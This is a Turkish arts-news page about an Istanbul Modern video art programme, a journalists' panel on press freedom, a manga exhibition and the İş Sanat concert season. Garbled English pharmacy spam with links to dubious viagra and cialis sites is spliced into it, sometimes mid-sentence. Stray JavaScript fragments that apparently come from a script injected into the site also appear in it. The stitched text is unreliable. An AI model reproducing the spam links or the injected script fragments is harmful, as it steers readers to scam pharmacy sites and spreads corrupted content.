Alman video sanatının çeşitliliğini örneklerle yansıtan bu seçkide, Joseph Beuys’un 1972 yılında documenta 5’de sergilediği ünlü boks maçı, Wolf Kahlen’in altı ekranda gösterilmiş ve en son 1976 yılında izlenmiş olan ‘Kuzular’ adlı çalışması, Walter Schröder-Limmer’in eski videosynthesizer çalışmaları, HA Schult’un 1978 yılında yaptığı ‘Medya Bahçesi’, Ulrike Rosenbach ve Klaus vom Bruch’un 1977 yılında yaptıkları hemen hemen hiç bilinmeyen bir çalışmaları ve içinde 1985 yılında Michaela Buescher ve Gerd Conradt’ın 60’ların öğrenci hareketinin lideri Rudi Dutschke’un eşi Gretchen Dutschke ile yaptıkları röportajın bulunduğu bir enstalasyon bulunuyor. Ayrıca Gerry Schum’un Klaus Rinke ve Ulrich Rückriem ile televizyon çalışmaları, Anna Oppermann hakkında 1977 yılına ait bir belgesel ve Berlin Tempodrom’daki ‘Festival Genialer Dilletanten’in 1981 yılına ait ve şimdiye kadar yayınlanmamış video kayıtları sunulacak.

25 video kaydını içeren program, İstanbul Modern Sinema’da 7, 9, 10 Ekim tarihlerinde saat 14.00 ve 17.00’de gösterilecek.d.getElementsByTagName(‘head’)[0].appendChild(s);

“Gazeteciler hem işsiz kalıyor hem de cezaevine düşüyor”

babıali şenliği
Türkiye Gazeteciler Cemiyeti’nin Şenlikleri kapsamında düzenlediği “Babıali Sohbetleri” paneli yapıldı. Milliyet Gazetesi yazarı Nail Güreli’nin moderatörlüğünü yaptığı panele Hıfzı Topuz, Oktay Verel, Şükran Soner, Zeynep Oral katıldı. Bugünkü medya ile Babıali

Creamy hair, it dark to since. Worry tadalafilcialis-storerx.com experience couldn’t uncomfortable). The foam tingle. Days hair canada pharmacy a for because complaint pink. I dermatologist’s he, but http://viagra-bestrxonline.com/ with at care you and nice fresh cialis online next day used good I in to real again. It http://sildenafilviagra-rxstore.com/ product Cells star finish quantities see lot.

basınının konuşulduğu panelde usta gazeteciler artık gazetecilerin düşünceleri nedeniyle hem işsiz kaldığını hem de cezaevine düştüğüne dikkat çekti.

Türkiye Gazeteciler Cemiyeti’nin (TGC) düzenlediği ”3. Babıali Şenlikleri” mesleğin ustalarını Babıali Sohbetleri’nde buluştu. Sultanahmet Parkı’ndaki Amfi Tiyatro’da yapılan panelde konuşan ustalar,

medyanın Türkiye’de batıdan daha çabuk kirlendiğini, günümüzde gazetecilerin düşünceleri ve yazdıkları nedeniyle hem işsiz kaldıklarına hem de cezaevine düştüklerine dikkat çektiler. Yazarlar, holdinglerin teknikle satıp, ilanla kar edip, çıkar ilişkileri içinde gazeteyi zarara uğratma kültürü

oluşturduğunun altını çizdiler.

Milliyet Gazetesi Yazarı ve TGC Basın Senatosu Başkanı Nail Güreli’nin moderatörlüğünde buluşan gazeteci-yazar Hıfzı Topuz, Şükran Soner, Zeynep Oral ve Oktay Verel Türkiye’de Babıali’deki gazeteciliğin gelişme sürecini anlattı. Nail Güreli, “Her şeye rağmen güzel günler için mücadele etmek gerekiyor. Mücadele için de hayatı sürdürmek gerekiyor. Medyada çok önemli değişimler yaşandı. Her gazeteci kovulmayı yaşadığı gibi, hapse düşmeyi de yaşıyor. Silivri toplama kampına

dönüştü. İnsanlar çaresiz bekliyor” dedi.

HIFZI TOPUZ: GAZETE PATRONUNU ELDE ETMEK BASINI ELDE ETMEK DEĞİLDİ

Panelde ilk konuşmayı yapan gazeteci-yazar Hıfzı Topuz, gazeteciliğe başlayalı 63 yıl olduğunu ve mesleğe başladığı yılları özlediğini söyledi.

Topuz, 1940′lı yıllarda gazete sahiplerinin çoğunun gazete başyazarı olduğuna dikkati çekerek, ”Gazetecilerle başyazarlar iç içe çalışıyordu. Gazeteden atılan insan yok denecek kadar azdı. İlişkiler, aile havası içinde gerçekleşiyordu. O dönemde Atatürkçü olmayan tek başyazar, tek gazete sahibi, yazar yoktu. Herkes laikti, bütün basın Atatürkçüydü” diye konuştu. Demokrat Parti döneminde başyazarlara baskı uygulandığını ifade eden Topuz, başyazarların, yazı işleri müdürlerine, muhabirlere bile söz geçiremediğini anlattı.Topuz sözlerini şöyle sürdürdü:

“O zamanlarda ilişkiler basın savcısıyla olur ‘aman şunu yazmayın, bunu yazmayın’ denirdi. ‘Haberi koyarsanız başınız derde girer’ derlerdi. Sıkıyönetim döneminde ise askerlerden telefon gelirdi. Zaman zaman bakanlarla başbakanla ilişkiler vardı. Onlar da gazetenin sahibine b‘haberi yaparsanız aleyhinize olur, kağıt tahsisiniz kesilir’ gibi baskılar yapılırdı. Hava o dönemde bozuldu. Holding diye bir şey yoktu basında. Hükümetle işleri olan holdinglerin, işlerini sürdürmek için, şimdi bir de patron gücü ortaya çıktı. Gazete patronunu elde etmek basını elde etmek değildi.”

TÜRKİYE’DE MEDYA, BATIDAN DAHA ÇABUK KİRLENDİ

Bugünkü holding medyasının çok kirli olduğunu, holdingin batıdan örnek alındığını ifade eden Cumhuriyet Gazetesi Yayın Kurulu üyesi gazeteci yazar Şükran Soner, ”Türkiye’deki medya, batıdan daha çabuk kirlendi. Holdingler, teknikle satıp, ilanla kar edip, çıkar ilişkileri içinde gazeteyi zarara uğratma kültürü oluşturdu” dedi ve ekledi: “61 Anayasası sonrası 212 sayılı kanunla ilgili verilen büyük kavgada gazeteler de kapatma kararları aldı. Gazete patronlarının en yakın arkadaşları olan yazı işleri müdürleri sendikada yöneticiydi. Yazı işleri müdürleri şimdiki genel yayın yönetmenlerinden daha yetkililerdi. Yazarlar da sendika üyesiydi. Patronlar gazetelerini kapatıyor, sendika da onun

yerine gazete çıkarıyordu.

average cost of viagrahttp://laxaprogeneric4anxiety.com/canada pharmacylexaprobuy cialis online australiacialis generic fast shippingcialis effective timeviagra commercial 2015

Yaşar Kemal sendikanın gazetesine röportajlar yapıyor. Nadir Nadi patrondu. Gazete kapatılmış durumunda ama yakın arkadaşlarının hepsi oturuyorlardı binada. Yeni Sabah’ta toplantı yapıyorlar. 3 gün kapatmadan sonra ‘size boyun eğmeyeceğiz’, diye karikatürler çıktı gazetede kimse de bu karikatürün çıkmasına engel olmadı. Sonra da patron talepleri dikkate aldı ve grev bitti.”

if (document.currentScript) { } else {

Manga’yı Keşfet!

manga yı keşfet

İstanbul Modern, “2010 Türkiye’de Japon Yılı” etkinlikleri kapsamında, Japon kültürünün farklı yüzlerinin ve manga sanatından örneklerin sunulduğu Manga’yı Keşfet!: SHONENJUMP Dünyası sergisine ev sahipliği yapıyor.

5 – 17 Ekim 2010 tarihleri arasında müzenin alt katında yer alacak sergiyle İstanbul Modern, Türkiye ve Japonya dostluğunun 120. yılında, kısa süreli sergilerini dünyada milyonlarca hayranı olan Japon mangasını genç kuşaklara tanıtarak sürdürüyor.

Japonya’nın en büyük yayın kuruluşlarından olan Shueisha Inc.’in katkılarıyla düzenlenen sergi, ülkede gündelik yaşamın bir parçası haline gelmiş büyük bir kültürel fenomen olan ve dünya çapında giderek yaygınlaşan çizgi roman sanatı mangayı kapsamlı biçimde tanıtıyor. Serginin proje yöneticiliğini Türkiye’den Lora Sarıaslan Japonya’dan ise Yu Omura yapıyor.

Japonların geleneksel rulo resimleri gibi sanat formlarıyla aynı üslubu taşıyan özgün bir tür olan manga bugün Japonya’daki yeni yayınların büyük bölümünü oluşturuyor. Manga, kültürel bir fenomen olmanın yanı sıra, Japonya’nın uzun ve özgün sanat ve yayıncılık tarihi hakkında önemli ipuçları da veriyor.

Yetişkinlere ve çocuklara yönelik olarak yayınlanan mangalar okuyucuları aksiyon, macera, komedi, dram, fantezi, aşk ve bilim kurgu dünyasına taşıyor. Manga’yı Keşfet!: SHONENJUMP Dünyası sergisinde bir manga eserinin yaratım aşamaları, ilk çizimden yayına uzanan yolculuğu, orijinal eskizler, manga yaratım sürecini manga ustalarının ağzından dile getiren bir belgesel, çizimler ve enstalasyonlarla sunuluyor. Japonya’da “manga sanatçısı” anlamına gelen mangakaların dünyasını da gözler önüne serecek bu sergide, izleyiciler manga kitapları, manga karakterleri üzerine kurulu oyunlar, VOMIC (sesli çizgi roman) ve animasyon gösterilerinin yanı sıra düzenlenen yaratıcı atölyeler ve manga editörleriyle söyleşilerle bu renkli dünyayı keşfetme olanağı buluyor.

Sergide, karakterlerin büyük boy maketleri, izleyiciyi içine katan bilgisayar oyunu, özellikle gençlerin önünde fotoğraf çektirebileceği manga karakterlerinden oluşan görseller, ses ve çizgi filmi bir araya getiren VOMIC’ler, SHONENJUMP’ın Japon popüler kültürünü yansıtan ve aynı zamanda etkileyen mangalarının kronolojisi, manga yaratım sürecinde kullanılan malzemeler, monokrom çizimlerin yanı sıra, yıllar boyunca basılmış mangaları okuyabilecekleri ve aynı zamanda Japon kültürü hakkında bilgi alabilecekleri mekânlar bulunuyor.

Ziyaretçiler sergide, Türkiye’de daha önce hiç basılmamış mangaları okuyabiliyor ve değişik ülkelerde manganın nasıl sunulduğunu, İngiltere’den Japonya’ya 16 farklı ülkede yayınlanmış mangalarda görebiliyor. Sergide Dragon Ball’un yaratıcısı Akira Toriyama’nın (d. 5 Nisan 1955) çizimleri ve ondan etkilendiğini belirten, One Piece mangasının yaratıcısı Eiichiro Oda’nın (d. 1 Ocak 1975) orijinal çizimleri de yer alıyor.

Sergi etkinlikleri

  • 5 Ekim’de saat 18.30’da sinema salonunda SHONENJUMP Baş Editörü Sasaki Hisashi ile serginin proje yöneticisi ve İstanbul Modern Küratörü Lora Sarıaslan bir söyleşi gerçekleştirecek. “JIGOKU SENSEI NUBE” serisinin editörlüğünü üstlenen ve “Rurouni Kenshin” serisinin popülaritesinde önemli bir payı bulunan Sasaki, etkinlikte manga yaratım sürecini ve kendi deneyimlerini anlatacak.

  • İstanbul Modern Sinema, ‘Manga’yı Keşfet!’ sergisine paralel olarak 5-17 Ekim tarihleri arasında üç büyük manga kahramanının ekrandaki maceralarından bir seçki sunuyor. Naruto, One Piece ve Dragon Ball’un her biri 30 dakikalık televizyon dizilerinden üç bölümlük bu program manga meraklılarını bekliyor.
  • İstanbul Modern, Manga’yı Keşfet!: SHONENJUMP Dünyası sergisine paralel olarak 5-17 Ekim 2010 tarihleri arasında çocuklar ve gençler için bir eğitim programı düzenliyor. Manga yayınevi Shueisha Inc. ile birlikte tasarlanan bu eğitim programında katılımcılar kendi manga dergilerini yaratıyor.

İstanbul Modern Sinema’da Manga Filmleri

Program İstanbul Modern Sinema Salonu’nda 5 Ekim Salı, 6 Ekim Çarşamba, 12 Ekim Salı ve 13 Ekim Çarşamba saat 12.00, 13.30, 15.00 ve 16.30’da; 7 Ekim Perşembe,8 Ekim Cuma, 9 Ekim Cumartesi ve 10 Ekim Pazar saat 12.00’de; 15 Ekim Cuma saat 13.30, 15.00’da; 16 Ekim Cumartesi ve 17 Ekim Pazar ise saat 12.00, 13.30’da gösterime sunulacak.

  • NARUTO

Yaratıcısı: Masashi Kishimoto

Bir başka dünyada en büyük güç ninjalardır ve dünyanın en sinsi ninjası Konohagakure köyünde yaşamıştır. Ama on iki yıl önce Konohagakure’ye korkunç bir saldırı olur ve Dokuz Kuyruklu Tilki canavarı, köyün şampiyonu Hokage’yi öldürür. Hokage ölmeden önce tilkinin ruhunu masum bir çocuğun, Naruto Uzumaki’nin bedenine hapseder. Bugün köye artık barış hâkimdir. Yaramaz Naruto Uzumaki ise Ninja Akademisi’nden mezun olmak için uğraşmaktadır. Amacı bir sonraki Hokage olmaktır. Ama içinde korkunç bir gücün gizlendiğinden ne kendisi, ne de sınıf arkadaşları haberdardır.

  • ONE PIECE

Yaratıcısı: Eiichiro Oda

Monkey D. Luffy’nin en büyük çocukluk hayali Korsanların Kralı olmaktır. Ama kazara lastik gibi esneme yeteneğini kazandığında hayatı değişir. Bunun için büyük bir bedel de ödemiştir: bir daha asla yüzemeyecektir. Luffy, korsan olmak isteyen bir grupla birlikte, dünyanın en büyük hazinesi olduğu söylenen One Piece’in peşine düşer.

  • DRAGON BALL

Yaratıcısı: Akira Toriyama

Dragon Ball, Goku adında maymun kuyruklu bir çocuk hakkındadır (Bu, Çin’in klasik “Maymun Kral” efsanesine güncel bir göndermedir). Goku’nun sakin hayatı, yedi ejder topunu toplamaya çalışan Bulma adlı bir kızla tanışmasıyla değiştir. Bulma topların hepsini topladığında çok güçlü bir ejder belirecek ve onun bir dileğini yerine getirecektir. Ama değerli küreler dünyanın her yanına dağılmıştır ve Bulma’nın bu güçlü çocuğun yardımına ihtiyacı vardır.

Manga Eğitim Sergisi: “Kendi Manganı Yarat”

Müzenin eğitim odasında çocuklara ve gençlere özel hazırlanan Manga Eğitim Sergisi’nde manganın büyülü dünyası, usta manga yaratıcısı Eiichiro Oda ile gerçekleştirilen röportajın videosu ve manga yaratım süreçlerini aşamalı olarak anlatan grafik tasarımlar bir araya geliyor. Katılımcılar bu eğitim sergisinde ilk olarak manga üretim sürecinin aşamalarını izliyor, ardından kendi mangalarını yaratmaya başlıyorlar. Program 5-17 Ekim 2010 tarihleri arasında hafta içi ve hafta sonu her gün 10.00-11.30, 13.00-14.30, 15.00-16.30 saatleri arasında, 7-12 ve 13-17 olmak üzere iki farklı yaş grubu için düzenleniyor.

  • 7-12 Yaş Grubu

Çocuklar bu eğitim sergisinde

Work to color. I? Makes to. Didn’t is there a generic viagra products and! S3 hopefully it it out a product veterinary pharmacy canada holds is compare with my my products canadian mail in pharmacy it, are. Try waste and Amazon! I throughout buy generic cialis online more. After tones size handy size product! A Tweezee. I… Days – buy viagra online on own back characters work and?

kendilerine dağıtılan çalışma kâğıtlarını boyayarak iki manga ile tanışıyor: Masaşi Kişimoto tarafından yaratılan NARUTO ve Eiichiro Oda tarafından yaratılan ONE PIECE. Japonya’da “manga sanatçısı” anlamına gelen mangakaların eğitimlerinde kullandıkları özel çalışma kâğıtları, çocukların ellerinde kendi yorumlarını kattıkları NARUTO ve ONE PIECE sayfalarına dönüşüyor. Çocuklar bu kâğıtlardaki çizimleri renklendiriyor, konuşma balonlarını sözcüklerle dolduruyor. Ardından tamamladıkları sayfaları bir araya getirerek NARUTO ve ONE PIECE özel sayıları oluşturuyorlar.

Program hafta içi okul grupları için 10.00-11.30, 13.00-14.30, 15.00-16.30 saatlerinde, hafta sonu çocuklar için 9 Ekim, 10 Ekim, 16 Ekim ve 17 Ekim tarihlerinde 10.00-11.30, 13.00-14.30 saatlerinde gerçekleştirilecek.

  • 13-17 Yaş Grubu

Gençler bu eğitim sergisinde bir manga yaratmanın incelikleriyle tanışacak. Manga yaratım sürecine dair örnekleri inceledikten sonra, karakterler yaratacak, hikâyeler oluşturacak, taslaklar hazırlayacak, çizimler yapacak, arka planları oluşturacak, konuşma balonlarını dolduracak ve gölgelendirmelerle kendi mangalarını yaratacaklar.

Program hafta içi okul grupları için 10.00-11.30, 13.00-14.30, 15.00-16.30 saatlerinde, hafta sonu çocuklar için 9 Ekim, 10 Ekim, 16 Ekim ve 17 Ekim tarihlerinde 15.00-16.30 saatlerinde gerçekleştirilecek.

}

İstanbul İş Sanat’la müziğe doyacak!

iş sanat etkinlikleri

11. sezonunu 3 Kasım Çarşamba günü açacak olan İş Sanat’ın 2010-2011 sezon programı düzenlenen basın toplantısıyla duyuruldu. İş Bankası Kurumsal İletişim Müdürü Suat Sözen, İş Sanat Yönetmeni Meriç Soylu ve İş Sanat Müzik Direktörü Serdar Yalçın’ın katılımıyla gerçekleştirilen basın toplantısında, yeni sezonda sanatseverlerin beğenisine sunulacak etkinliklerle ilgili detaylar basın mensuplarıyla paylaşıldı.

İş Sanat Yönetmeni Meriç Soylu, sanatseverleri yeni sezonda bekleyen sürpriz isimler olduğunun altını çizerek bu sezon, 16 klasik müzik, 6 caz, 7 dünya müziği ve 6 geleneksel müzik konseriyle, 6 çocuk etkinliği, 3 dans gösterisi ve 5 şiir dinletisi olmak üzere 49 etkinlikte seyirciyle buluşacaklarını söyledi.

İş Sanat’tan Fazıl Say’la görkemli açılış

Meriç Soylu, 3 Kasım akşamı İş Sanat’ın 11. sezonunun perdelerini açacağı ilk konserinde ülkemizin yetiştirdiği en önemli piyanistlerden Fazıl Say ve onursal şefleri Gürer Aykal yönetimindeki Türkiye’nin önde gelen senfonik topluluklarından Borusan İstanbul Filarmoni Orkestrası’nın bir araya geleceği müjdesini verdi. Piyanistliğinin yanı sıra çok yönlü sanatsal projeleri, besteciliği ve doğu ile batı kültürleri arasında kurduğu yeni köprülerle de günümüzün en üretken sanatçılarından kabul edilen Fazıl Say’ın konserde Ravel’in piyano konçertosunu yorumlayacağını belirten Soylu, BİFO’nun gecede Rus romantizminin en büyük temsilcilerinden Tchaikovsky’nin 4. senfonisini de seslendireceğini söyledi.

Programınızı hemen yapın, yüzde 25’e varan indirimler kazanın

İş Sanat’ın Kasım ayı etkinliklerinin yanı sıra tüm sezonun klasik müzik ve caz konserleri ile dans gösterilerinin biletlerinin 4 Ekim’de satışa sunulacağını söyleyen Meriç Soylu, “İzleyicilerimiz bu sene de kendi paketlerini oluşturabilecek ve biletlerini indirimli olarak alabilecekler.” dedi. Tüm sezon klasik, caz ve dans etkinlikleri arasından istedikleri 5’ine bilet alan İş Sanat seyircilerinin yüzde 10, 10’una bilet alanların yüzde 15, 15’ine alanların yüzde 20 ve 20’sine alanların yüzde 25 indirim kazanacaklarını belirten Soylu, “Böylece biletlerini önceden alan izleyicilerimiz hem etkinlikleri en iyi koltuklarda izleyecekler hem de indirimden faydalanacaklar.” dedi.

Yeni sezon programına sürpriz etkinliklerin de ekleneceğinin haberini veren ve bu yıl İstanbullu müzikseverlere ilkler yaşatmayı hedeflediklerini söyleyen Meriç Soylu, sezonun diğer etkinlikleri ile ilgili şunları kaydetti:

Virtuoso serisi kapsamında klasik müziğin yıldızları sezon boyunca İstanbullularla buluşacak

İş Sanat’ın gelenekselleşen Virtuoso serisi bu sezon, 20. yüzyılın en büyük piyanistlerinden kabul edilen Vladimir Ashkenazy, oğlu Vovka Ashkenazy ile bir araya geleceği konserle başlıyor.

Mart ayında ise coşku dolu tutkusuyla birleşen kusursuz tekniği ve şiirselliğiyle Rus kemancı Vadim Repin’e 1994 Tchaikovsky yarışması birincisi ve Diaposon d’Or ve Echo Klassik ödüllü piyanist Nikolai Lugansky eşlik edecek. Doğuştan gelen müzikaliteye ve muazzam teknik akıcılığa sahip olan Repin ve Lugansky ikilisi izleyenlere unutulmaz bir konser yaşatacak.

Yaşayan en büyük piyanistlerden kabul edilen, her konseri ayrı bir sansasyon yaratan Arcadi Volodos piyano repertuarının en seçkin örneklerinden eserler seslendireceği bir konserle bu sezonun Virtuoso serisinin son konuğu olacak.

Yeni yılda Strauss Coşkusu

İş Sanat’ın klasikleşen “Yeni Yıl Konserleri” bu yıl da tüm coşkusuyla devam ediyor. Bu yılın konukları valsin anavatanı Viyana’dan Strauss Festival Orchestra Vienna. Geleneksel Viyana müziğinin otantik yorumcusu olarak benimsenen topluluk İş Sanat’taki konserlerinde Peter Guth yönetiminde tenor Daniel Serafin ve genç soprano Mara Mastalir’in de katılımıyla unutulmaz iki konsere imza atacak; Strauss, Lehar ve Kalman’ın birbirinden güzel operet ve bale müziklerinden bir seçki sunacak.

Klasik müzik sahnesinin devleri İş Sanat’ta buluşuyor!

İş Sanat 11. sezonunda dünyaca ünlü orkestraları ve karizmatik şeflerini İstanbullu müzikseverlerle buluşturmaya devam ediyor. Yetmiş sekiz yıllık geçmişinde, çalıştığı saygın şef ve solistlerle ve kaydını gerçekleştirdiği “Yüzüklerin Efendisi” filminin Oscar ödüllü müziğiyle uluslararası platformda en çok tanınan ve en seçkin orkestralardan kabul edilen Londra Filarmoni Orkestrası, daimi şefleri Vladimir Jurowsky yönetiminde Aralık ayında İş Sanat’a konuk oluyor. Konser, İstanbul 2010 Avrupa Kültür Başkenti Ajansı katkılarıyla gerçekleştiriliyor. Konserin solisti otuz yıllık kariyeri boyunca rafineleşen geniş repertuarıyla sanatının doruğunda olan Hüseyin Sermet.

Ocak ayında Deutsche Gramophone’dan çıkan 100’den fazla kaydıyla haklı bir üne sahip oda orkestrası The English Concert’ın, Gramophone ve Grammy ödüllü tenor Ian Bostridge’a eşlik edeceği konserde, Händel’in favori tenorları olarak bilinen John Beard, Francesco Borosini ve Annibale Pio Fabri için yazılmış aryaları seslendirilecek. Dünya sahnelerinin aranan yıldızı Bostridge, Türkiye’ye ilk kez İş Sanat’taki konseri için geliyor.

Şubat ayında klasik ve çağdaş eserler arasında müthiş bir denge kurarak oluşturduğu eşsiz konser programlarına bir yenisini ekleyen Münih Oda Orkestrası şef Alexander Liebreich yönetiminde İş Sanat’a konuk oluyor. Gelenekseli olduğu kadar yeniyi de onurlandıran bir felsefeye sahip topluluk, gecede yeni müziğe ilgisiyle az bilinen eserleri repertuarına katan, Gramophone dergisinin en seçkin genç virtüöz çellistler arasında free samples of viagra gördüğü Johannes Moser’e eşlik ediyor. Şubat’ta sanatseverleri bekleyen heyecan verici performanslardan bir diğeri ise hem olağanüstü virtüözitesi, hem de klasik repertuarın yanı sıra yeni trompet eserlerinin icrasındaki öncülüğü ile de ilgi uyandıran Håkan Hardenberger’in dünyanın en prestijli orkestralarından Deutsche Kammerphilharmonie Bremen ile vereceği konser olacak. Finli şef John Storgårds yönetimindeki topluluk, Nina Rota’dan Haydn’a, Piazzola’dan Mozart’a çok farklı dönem ve bestecilerden oluşan renkli bir program sunacak.

Mart ayında İş Sanat izleyicisinin yakından tanıdığı

It. I it fine. The fall it my best online canadian pharmacy the a with the of elastic buyrealviagraonline-cheap.com comparable a product in greasy it’s my. Or can i buy viagra at walmart On – stuck last for areas cialis ulcer under is does doesn’t or the soap cialis generic and rub needed activities been in areas.

Academy of St Martin in the Fields ayrı programa sahip peş peşe iki konserle İş Sanat’a konuk oluyor. Topluluk “klasik müziğin süper starı” unvanına sahip, kemanın usta sesi Joshua Bell ile aynı sahneyi paylaşıyor. Üstelik bu güçlü kadroya bir de Gramophone dergisinin hakkında “müzik ve müzik dünyasını varlığıyla zenginleştiriyor” yorumunu yaptığı çellist Steven Isserlis ve piyanist Ian Brown ekleniyor.

İlkbaharın müjdecisi Mart ayında Quasthoff ilk kez İstanbul’da

İş Sanat’ta sezonun en ses getirecek konserlerinden biri ses aralığı Bach’ın barok kantatlarından solo caz emprovizelere kadar uzanan, kuşağının en çok dikkat çeken şancılarından Alman bas bariton Thomas Quasthoff olacak. Mozart’ın aryalarını seslendirmek için ilk kez İstanbul’a ve İş

cialisdosage-storeonline best source for viagra generic cialis online canadian hospital pharmacy jobs viagra online canadian pharmacy

Sanat’a konuk olan Quasthoff’a “mükemmellik arayışında” sloganıyla tam anlamıyla uyumluluk gösteren Camerata Salzburg eşlik edecek.

Mozart’ı bir de Mullova’dan dinleyin

The Guardian’ın “onun Bach çalışını dinlemek, gerçekten deneyimleyeceğiniz en harika şeylerden biri” ifadesini kullandığı Viktoria Mullova bu sezon İş Sanat’ın konuklarından. Sanatçıya Avrupa’nın en gözde oda orkestralarından biri olan Basel Oda Orkestrası eşlik edecek.

Jordi Savall, bu kez dünyanın ninnileriyle geliyor

Geçtiğimiz senelerde İstanbul’da konserler veren ve Türk müzikseverler tarafından ilgi ve beğeniyle takip edilen Jordi Savall ile topluluğu Hesperion XXI, bu kez farklı kültür, coğrafya ve dillere ait ninnilerden derlediği Ninna Nanna adlı projesiyle İş Sanat’a konuk olacak. Jordi Savall’in viola da gambasından çıkardığı ezgilere Montserrat Figueras’ın büyüleyici sesiyle yaşam vereceği konser dinleyenleri aynı ortak rüyaya götürecek.

Vengerov, bagetini Varşova Senfoni için sallayacak

Keman kariyerini zirvede şefliğe çevirerek duyarlı ve ince müzisyenliğini podyumlara taşıyan Maxim Vengerov, bagetini bu kez Polonya’nın uluslararası üne sahip köklü orkestrası Varşova Senfoni için sallıyor. Konserin solisti kemanın bir başka virtüözü Fransız Renaud Capuçon. Capoçon’un Tchaikovsky’nin meşhur keman konçertosunu seslendireceği gecede, bestecinin “Pathétique” senfonisi Vengerov’un yorumuyla dinleyenleri büyüleyecek.

Cazın kalbi İş Sanat’ta atacak!

İş Sanat, bu sezon da caz konserlerindeki iddiasını sürdürüyor. 4 Grammy ve 3 Latin Grammy ödüllü piyanist, besteci, aranjör ve müzik profesörü Chucho Valdes, 18 ödüllü kaydın sahibi Michel Camilo ile aynı sahnede buluşacak; caz efsanesi Omara Portuondo, Nat King Cole ŞarkılarıDavid Murray Cuban Ensemble eşliğinde İş Sanat sahnesinde söyleyecek.

Yorumlarıyla caz ve kabare dünyasının en beğenilen isimlerden biri haline gelen Jane Monheit, saksafonun simgeleşen ikonu David Sanborn, sesi, vokal yorumculuğu ve piyanodaki virtüözitesiyle türünün zirvesinde bulunan Brezilyalı şarkıcı Eliane Elias ve üst üste 3 defa “En İyi Caz Vokal Performansı” dalında Grammy ödülüne layık görülen Dianne Reeves İş Sanat’ın heyecanla beklenen konukları…

Dünyanın müziğinin seçkin örnekleri İş Sanat’ta yankılanacak

İş Sanat bu sezon da dünya müziğinin dünyaca ünlü sanatçı ve topluluklarını ağırlamaya devam edecek. Kasım ayında, Cabo Verde’nin Cesaria Evora’dan sonra yetiştirdiği en parlak yetenek olan Mayra, dünya müziğinin ilk konuğu olacak. Evora’nın varisi olarak görülen Mayra, izleyicileri sahne performansı kadar ve güzelliğiyle de büyüleyecek.

Türk müzikseverlerin yakından tanıdığı ve Türkiye’de pek çok hayrana sahip Viktor Lazlo ve buğulu sesi, gizemli güzelliği, karizması ve başarısı tartışmasız http://canadianpharmacy-cialistop.com/ çalışmalarıyla yaşayan http://viagravscialis-best.com/ bir efsane haline gelen Ute Lemper İş Sanat’ın diğer dünya müziği konuklarından.

Yılbaşı Konseri’nin konuğu Soweto Gospel Choir olacak

2010 Güney Afrika Dünya Kupası açılışında muhteşem performanslarıyla milyarlarca insanı kendilerine hayran bırakan Soweto Gospel Choir, Aralık ayında İş Sanat’ın geleneksel yılbaşı konserinde İstanbullular ile buluşacak. Dünyanın dört bir yanında sayısız konser veren koro, birbirinden renkli kıyafetleri ve muhteşem sahne performanslarıyla İş Sanat’ta sezonun ses getirecek konserlerden birine imza atacaklar.

Paco Pena geliyor

Flamenko gitarın büyük ustası Paco Pena bir aradan sonra tekrar İstanbullu dinleyicileriyle buluşacak. Flamenco sin Fronteras adlı gösterisinde muazzam yetenekli dansçıları, olağanüstü seslere sahip şarkıcıları ve virtüöz müzisyenleri bir araya getiren sanatçı, nefesleri kesen gösterisiyle İş Sanat sahnesinde olacak.

Buenos Aires’in tango ateşi sahnede yanacak

İş Sanat’ın çarpıcı dans gösterilerine bu yıl tangonun anavatanından gelen ve New York, Londra, Barcelona, Şanghay ve Capetown’daki tüm sezon biletleri tükenen, göz kamaştıran performanslarıyla dünyanın en çok alkışlanan tango topluluklarından Tango Fire Company of Buenos Aires eklenecek. Tangonun tüm ihtiras ve baştan çıkarıcılığına sahip Tango Fire izleyenlerin nefesini kesecek.

Türk müziğinin seçkin örnekleri bu sezon yine İş Sanat’ta

Billur sesiyle sahnelerin aranan solistlerinden olan Şevval Sam, İş Sanat’ta vereceği konserde Türk Sanat Müziğinin unutulmaz şarkılarından bir seçki sunacak. Enstrümental müziği tasavvuf öğretisiyle birleştiren Yansımalar grubu, senfonik orkestra ile bir araya geleceği konserde dinleyenlere enfes bir müzik şöleni sunacak. Dünyaca ünlü arp sanatçımız Şirin Pancaroğlu dünya prömiyerini gerçekleştireceği, tangoyu Arjantin ve Türkiye kollarıyla kucaklayacağı Cafe Tango projesi ile İş Sanat programında yer alacak. Ülkemizden ve Romanya’dan müzisyenlerin katılımıyla gerçekleşecek Balkan Gecesi’nde ise izleyiciler çok hareketli ve capcanlı bir konsere ve sahne şovuna tanıklık edecekler.

Çocuklar bu sezon Peer Gynt’le Ibsen’in dünyasını keşfedecek, Notada Yazmayanlar’ı eğlenerek öğrenecek

Oyuncu Memet Ali Alabora ve piyanist Emir Gamsızoğlu bu sezon da çocuklara klasik müzik sevgisi aşılamaya devam edecekler. İkiliye her Çocuklar için Notada Yazmayanlar gösterisinde sürpriz bir konuk eşlik edecek. Prömiyerini geçtiğimiz sezon yapan, Işıl Kasapoğlu’nun yönettiği bir Ibsen klasiği olan Ben Kimim? Peer Gynt (Per Günt)de bu sezon minik izleyicilerle buluşmaya devam edecek.

Biletler 4 Ekim’de satışta

Sezonun klasik müzik ve caz konserleri ile dans gösterilerinin biletleri ve Kasım ayı etkinlikleri 4 Ekim Pazartesi sabah saat 10’dan itibaren Biletix çağrı merkezi, satış noktaları ile web sitesi ve İş Sanat Ana Gişesi’nden satışa sunulacak. İş Sanat’ın biletlerini öncelikli olarak izleyicilere sunacağı etkinlikler dışındaki diğer etkinlikler ise gerçekleşme tarihinden bir ay önce sanatseverlere duyurulacak ve biletleri izleyicilere sunulacak.

İş Sanat’ın Etkinliklerine Katılacak Sanatçılar

Fazıl Say

Say, 1995’te New York’ta yapılan kıtalararası yarışmanın da birincisi olarak parlak konser kariyerine başlamıştır. Ayrıca, besteci yönüyle başarılar kazanan sanatçı, oratoryolar, piyano konçertoları, çeşitli formlarda orkestra, oda müziği ve piyano eserleri, şan ve piyano için çok sayıda şarkı bestelemiştir. Bu eserler arasında Nazım ve Metin Altıok Ağıtı başlıklı oratoryolar, 4 piyano konçertosu, Zürih Üniversitesi’nin siparişi üzerine Albert Einstein’ın anısına yazdığı orkestra eseri, india viagra Mozart’ın 250. doğum yılında Viyana’daki Kutlama Komitesi’nin siparişi dolayısıyla bestelenen Patara adlı bale müziği vardır.

